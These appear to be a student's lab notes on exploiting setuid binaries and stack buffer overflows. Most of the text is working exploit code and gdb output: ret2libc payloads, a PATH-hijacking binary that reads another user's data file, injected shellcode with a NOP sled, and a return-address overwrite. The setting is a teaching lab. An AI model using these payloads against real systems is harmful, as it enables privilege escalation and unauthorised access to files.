```
lab@crunchbang:~$ ls -l
total 112
-r-sr-xr-x 1 railsfax   railsfax    5834 Dec 14  2014 2runMe
-r--r--r-- 1 railsfax   railsfax     287 Dec 14  2014 2runMe.C
-r-sr-xr-x 1 missionmug missionmug  5776 Dec 14  2014 3runMe
-r-sr-xr-x 1 bluefoggy  bluefoggy  14071 Dec 16  2014 4runMe
-r--r--r-- 1 bluefoggy  bluefoggy    137 Dec 16  2014 4runMe.C
-r-sr-xr-x 1 cookbee    cookbee     5096 Dec 16  2014 5runMe
-r--r--r-- 1 cookbee    cookbee       72 Dec 16  2014 5runMe.C
---------- 1 lab        lab           33 Dec 12  2014 data.txt
-rwxr-xr-x 1 lab        lab         5179 Dec  2 18:30 env
-rw-r--r-- 1 lab        lab          10 Dec  2 18:36 env.C
-rwxr-xr-x 1 lab        lab         5548 Dec  2 17:37 getenv
-rw-r--r-- 1 lab        lab          420 Dec  2 17:35 getenv.c
-rw-r--r-- 1 lab        lab          13 Dec  2 18:40 less
drwxr-xr-x 2 lab        lab         4096 Dec  2 18:51 nvm
-r-sr-xr-x 1 seetow     seetow      5071 Dec 14  2014 runMe
-r--r--r-- 1 seetow     seetow        74 Dec 14  2014 runMe.C
drwxr-xr-x 2 lab        lab         4096 Dec  2 18:55 something
drwxr-xr-x 2 lab        lab         4096 Dec  2 18:55 test
-rw-r--r-- 1 lab        lab           11 Dec  2 17:46 trial.txt
```

chmod #someNumber file
some number to binary can change the -r-sr-xr-x stuff

execute as/same group access/my access
creator info
how big is the file
date and file name

show environment variables env

when see hard coded whatever, try overwrite it at critical positions

when see executable only, execute it and if ask for passwd gdb it and disassemble main

How to return to your specifyed script/code:
run that with a environment variable
if the code have strcpy() #one easy way to get to stack

analyze where's segment fault (know there's seg fault at 22th char)

Find system and exit address:
```
gdb -q 4runMe
Reading symbols from /home/lab/4runMe...done.
(gdb) p system
No symbol "system" in current context.
(gdb) b main
Breakpoint 1 at 0x80485e5: file runMe4.C, line 17.
(gdb) run
Starting program: /home/lab/4runMe

Breakpoint 1, main (argc=1, argv=0xbffff7c4) at runMe4.C:17
17          runMe4.C: No such file or directory.
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7d74c30 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7d68270 <exit>
```

When input these numbers with python, its reverse every 2bit hex number sequence, dont touch the number values just change the sequence

create environment variables : export
(can inject python code to have it execute by overwritting its return address)
example:
```
lab@crunchbang:~$ export JINGNING="cat /home/bluefoggy/data.txt"
lab@crunchbang:~$ echo $JINGNING
cat /home/bluefoggy            #check if it is truely changed
```

make the HiDoneDeleteMe:
copy these piece of code to something and compile it, this help me find the address of dat command

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char *ptr;

  if(argc < 3) {
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]); /* Get env var location. */
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* Adjust for program name. */
  printf("%s will be at %p\n", argv[1], ptr);
}
```

```
lab@crunchbang:~$ ./HiDontDeleteMe JINGNING 4runMe
JINGNING will be at 0xbfffff79
                                    #fill these unused space #system address of prog #exit address          #destination
lab@crunchbang:~$ ./4runMe $(python -c 'print "i" * 22+ "\x30\x4c\xd7\xb7" + "\x70\x82\xd6\xb7" + "\x75\xff\xff\xbf"')
The impressionism of mobility is rather open-minded in its empiricism.
```

```
#include <cstdlib>

int main() {
  system("cat /home/cookbee/data.txt");
}
```
Compile this code with -o change the executable name to whatever system call used.

```
lab@crunchbang:~$ ./less
cat: /home/cookbee/data.txt: Permission denied
lab@crunchbang:~$ ./5runMe
lab@crunchbang:~$ env
TERM=xterm-256color
SHELL=/bin/bash
XDG_SESSION_COOKIE=69fc2ab4025f73508e8dae9c548b2df5-1480707699.470385-1290266138
SSH_CLIENT=128.197.55.89 37858 22
SSH_TTY=/dev/pts/5
USER=lab
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37
;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;
31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31
:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=0
1;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.g
if=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff
=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2
v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.
nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;
35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.
ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.og
g=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
MAIL=/var/mail/lab
PATH=/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
PWD=/home/lab
LANG=en_US.UTF-8
SHLVL=1
HOME=/home/lab
LOGNAME=lab
SSH_CONNECTION=128.197.55.89 37858 10.241.13.81 22
_=/usr/bin/env
lab@crunchbang:~$ PATH=/home/lab:$PATH
lab@crunchbang:~$ env                    #this means that path is changed env command does not exist in this path
(nil)lab@crunchban./5runMe
```

The smart trader nowadays will plan to amortize senior-rated transfers.

find / -name "filename" 2>/dev/null
able to find even hidden files

Dami's demo code compiling:
gcc stackSmash.c -o vuln -fno-stack-protector -m32
g++ -g -z execstack -fno-stack-protector attackMe.C -o attackMe

Attack Me:
(gdb)set disable-randomization on
(gdb) b main
Breakpoint 1 at 0x400863: file attackMe.C, line 8.
(gdb) r
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /ad/eng/users/z/h/zhangjn/Desktop/you/attackMe
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=2, argv=0x7fffffffe068) at attackMe.C:8
8   strcpy(str, argv[1]);
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.x86_64 libgcc-4.4.7-17.el6.x86_64 libstdc+
+-4.4.7-17.el6.x86_64
(gdb) n
9   cout << str << endl;
(gdb) p st
No symbol "st" in current context.
(gdb) p str
$1 = 'A' <repeats 100 times>
(gdb) p &str
$2 = (char (*)[100]) 0x7fffffffdf10
(gdb) i f
Stack level 0, frame at 0x7fffffffdf90:
 rip = 0x40087d in main (attackMe.C:9); saved rip 0x396ae1ed1d
 source language c++.
 Arglist at 0x7fffffffdf80, args: argc=2, argv=0x7fffffffe068
 Locals at 0x7fffffffdf80, Previous frame's sp is 0x7fffffffdf90
 Saved registers:
  rbp at 0x7fffffffdf80, rip at 0x7fffffffdf88

88h-10h=120d

bash-4.1$ gdb -q attackMe
Reading symbols from /ad/eng/users/z/h/zhangjn/Desktop/you/attackMe...done.
(gdb) set disable-randomization
(gdb) b main
Breakpoint 1 at 0x400863: file attackMe.C, line 8.
(gdb) r "$(python -c 'print "\x90" * 51 +
"\xeb\x29\x48\x31\xdb\xb3\x0e\x48\x31\xf6\x5e\x48\x31\xc0\xb0\x01\x48\x31\xff\x40\xb7\x01\x48\x31\xd2\xb2\x15\x0f\
x05\xfe\xcb\x75\xea\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xd2\xff\xff\xff\x59\x6f\x75\x27\x76\x65\x5f\x62\x65\x
65\x6e\x5f\x68\x61\x63\x6b\x65\x64\x21\x0a\x0d" + "\x50\xdf\xff\xff\xff\x7f"')"
Starting program: /ad/eng/users/z/h/zhangjn/Desktop/you/attackMe "$(python -c 'print "\x90" * 51 +
"\xeb\x29\x48\x31\xdb\xb3\x0e\x48\x31\xf6\x5e\x48\x31\xc0\xb0\x01\x48\x31\xff\x40\xb7\x01\x48\x31\xd2\xb2\x15\x0f\
x05\xfe\xcb\x75\xea\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xd2\xff\xff\xff\x59\x6f\x75\x27\x76\x65\x5f\x62\x65\x
65\x6e\x5f\x68\x61\x63\x6b\x65\x64\x21\x0a\x0d" + "\x50\xdf\xff\xff\xff\x7f"')"

Breakpoint 1, main (argc=2, argv=0x7fffffffe058) at attackMe.C:8

```
8               strcpy(str, argv[1]);
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.x86_64 libgcc-4.4.7-17.el6.x86_64 libstdc+
+-4.4.7-17.el6.x86_64
(gdb) n
9               cout << str << endl;
(gdb) x/50xg
Argument required (starting display address).
(gdb) x/50xg $rsp
0x7fffffffdef0:  0x00007fffffffe058      0x00000002004008f5
0x7fffffffdf00:  0x9090909090909090      0x9090909090909090
0x7fffffffdf10:  0x9090909090909090      0x9090909090909090
0x7fffffffdf20:  0x9090909090909090      0x9090909090909090
0x7fffffffdf30:  0xdb314829eb909090      0x31485ef631480eb3
0x7fffffffdf40:  0xb740ff314801b0c0      0x050f15b2d2314801
0x7fffffffdf50:  0xb0c03148ea75cbfe      0xd2e8050fff31483c
0x7fffffffdf60:  0x7627756f59ffffff      0x685f6e6565625f65
0x7fffffffdf70:  0x0d0a2164656b6361      0x00007fffffffdf50
0x7fffffffdf80:  0x0000000000000000      0x00007fffffffe058
0x7fffffffdf90:  0x0000000200000000      0x0000000000400854
0x7fffffffdfa0:  0x0000000000000000      0x7d78ea94f6bb0a0e
0x7fffffffdfb0:  0x0000000000400770      0x00007fffffffe050
0x7fffffffdfc0:  0x0000000000000000      0x0000000000000000
0x7fffffffdfd0:  0x8287156b49bb0a0e      0x7d0a3f572f0b0a0e
0x7fffffffdfe0:  0x00007fff00000000      0x0000000000000000
0x7fffffffdff0:  0x0000000000000000      0x0000000000400910
0x7ffffffe000:  0x00007fffffffe058      0x0000000000000002
0x7ffffffe010:  0x0000000000000000      0x0000000000000000
0x7ffffffe020:  0x0000000000400770      0x00007fffffffe050
0x7ffffffe030:  0x0000000000000000      0x0000000000400799
0x7ffffffe040:  0x00007fffffffe048      0x000000000000001c
0x7ffffffe050:  0x0000000000000002      0x00007fffffffe419
0x7ffffffe060:  0x00007fffffffe448      0x0000000000000000
0x7ffffffe070:  0x00007fffffffe4c7      0x00007fffffffe530
(gdb) q
A debugging session is active.

        Inferior 1 [process 12495] will be killed.

Quit anyway? (y or n) y
bash-4.1$ gdb attackMe
GNU gdb (GDB) Red Hat Enterprise Linux (7.2-90.el6)
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /ad/eng/users/z/h/zhangjn/Desktop/you/attackMe...done.
(gdb) r "$(python -c 'print "\x90" * 51 +
"\xeb\x29\x48\x31\xdb\xb3\x0e\x48\x31\xf6\x5e\x48\x31\xc0\xb0\x01\x48\x31\xff\x40\xb7\x01\x48\x31\xd2\xb2\x15\x0f\
x05\xfe\xcb\x75\xea\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xd2\xff\xff\xff\x59\x6f\x75\x27\x76\x65\x5f\x62\x65\x
65\x6e\x5f\x68\x61\x63\x6b\x65\x64\x21\x0a\x0d" + "\x10\xdf\xff\xff\xff\x7f"')"

#provided shell code have 69 chars

Starting program: /ad/eng/users/z/h/zhangjn/Desktop/you/attackMe "$(python -c 'print "\x90" * 51 +
```

"\xeb\x29\x48\x31\xdb\xb3\x0e\x48\x31\xf6\x5e\x48\x31\xc0\xb0\x01\x48\x31\xff\x40\xb7\x01\x48\x31\xd2\xb2\x15\x0f\x05\xfe\xcb\x75\xea\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05\xe8\xd2\xff\xff\xff\x59\x6f\x75\x27\x76\x65\x5f\x62\x65\x65\x6e\x5f\x68\x61\x63\x6b\x65\x64\x21\x0a\x0d" + "\x10\xdf\xff\xff\xff\x7f"')"

)H1 ٣ H1^H1#H1@#H1X#u<H1<H1

You've_been_hacked!
#
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!
You've_been_hacked!

Program exited normally.
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.x86_64 libgcc-4.4.7-17.el6.x86_64 libstdc++-4.4.7-17.el6.x86_64

```
(gdb) r
Starting program: /ad/eng/users/z/h/zhangjn/Desktop/you/vuln A
Enter some text:
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x080484b2 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /ad/eng/users/z/h/zhangjn/Desktop/you/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter some text:
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x6ffffef5 in ?? ()
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /ad/eng/users/z/h/zhangjn/Desktop/you/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter some text:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Compare these and see how can you exactly overwrite these numbers
Then change whatever you want to overwrite to it

(gdb) disassemble secretFunction
Dump of assembler code for function secretFunction:
   0x08048444 <+0>:     push   %ebp
   0x08048445 <+1>:     mov    %esp,%ebp
   0x08048447 <+3>:     sub    $0x18,%esp
   0x0804844a <+6>:     movl   $0x8048584,(%esp)
   0x08048451 <+13>:    call   0x8048374 <puts@plt>
   0x08048456 <+18>:    movl   $0x8048598,(%esp)
   0x0804845d <+25>:    call   0x8048374 <puts@plt>
   0x08048462 <+30>:    leave
   0x08048463 <+31>:    ret
End of assembler dump.
32chars will segfault
bash-4.1$ python -c 'print "\x90" * 32 + "\x44\x84\x04\x08"'|./vuln
Enter some text:
You entered: ����������������������������D�#
Congratulations!
You have entered in the secret function!
Segmentation fault
```